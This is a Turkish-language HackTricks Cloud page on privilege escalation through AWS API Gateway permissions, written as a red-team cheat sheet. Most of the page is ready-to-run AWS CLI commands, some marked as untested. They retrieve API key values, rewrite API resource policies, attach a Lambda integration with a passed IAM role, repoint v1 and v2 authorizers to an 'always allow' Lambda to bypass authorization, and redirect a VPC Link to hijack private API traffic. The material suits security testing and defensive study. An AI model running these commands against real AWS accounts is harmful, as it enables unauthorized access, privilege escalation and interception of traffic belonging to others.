AWS - Apigateway Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Apigateway
Daha fazla bilgi için bakınız:
apigateway:POST
Bu izin ile yapılandırılmış API’lerin API anahtarlarını oluşturabilirsiniz (bölge başına).
aws --region <region> apigateway create-api-key
Olası Etki: Bu teknikle privesc yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz.
apigateway:GET
Bu izinle yapılandırılmış API’lerin oluşturulmuş API anahtarlarını (her bölge için) alabilirsiniz.
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Potential Impact: Bu teknikle privesc yapamazsınız ama hassas bilgilere erişim elde edebilirsiniz.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Bu izinlerle bir API’nin resource policy’sini değiştirerek kendinize API’yi çağırma erişimi verebilir ve API gateway’in sağlayabileceği potansiyel erişimi kötüye kullanabilirsiniz (ör. zafiyetli bir lambda’yı çağırmak).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Olası Etki: Genellikle bu teknikle doğrudan privesc elde edemezsiniz ancak hassas bilgilere erişim sağlayabilirsiniz.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
Test edilmesi gerekiyor
Bu izinlere (apigateway:PutIntegration, apigateway:CreateDeployment, ve iam:PassRole) sahip bir saldırgan, var olan bir API Gateway REST API’sine IAM role atanmış bir Lambda fonksiyonuyla yeni bir entegrasyon ekleyebilir. Saldırgan daha sonra Lambda fonksiyonunu tetikleyerek istediği kodu çalıştırabilir ve potansiyel olarak IAM role ile ilişkili kaynaklara erişim sağlayabilir.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Olası Etki: Lambda işlevinin IAM rolüyle ilişkili kaynaklara erişim.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
Test edilmesi gerekiyor
Bir saldırgan apigateway:UpdateAuthorizer ve apigateway:CreateDeployment izinlerine sahip olduğunda, mevcut bir API Gateway authorizer’ı değiştirebilir ve güvenlik kontrollerini atlatabilir (ör. onu her zaman “allow” döndüren bir Lambda’ya yönlendirmek) veya API istekleri yapıldığında keyfi kod çalıştırabilir.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Olası Etki: Güvenlik kontrollerinin atlanması, API kaynaklarına yetkisiz erişim.
HTTP APIs / apigatewayv2 varyantı
HTTP APIs (API Gateway v2) için, eşdeğer işlem, yetkilendiriciyi apigatewayv2 aracılığıyla güncellemektir:
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
apigateway:UpdateVpcLink
Note
Test edilmesi gerekiyor
apigateway:UpdateVpcLink iznine sahip bir saldırgan, mevcut bir VPC Link’i farklı bir Network Load Balancer’a işaret edecek şekilde değiştirerek özel API trafiğini yetkisiz veya kötü amaçlı kaynaklara yönlendirebilir.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Olası Etki: Özel API kaynaklarına yetkisiz erişim; API trafiğinin ele geçirilmesi veya kesintiye uğratılması.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

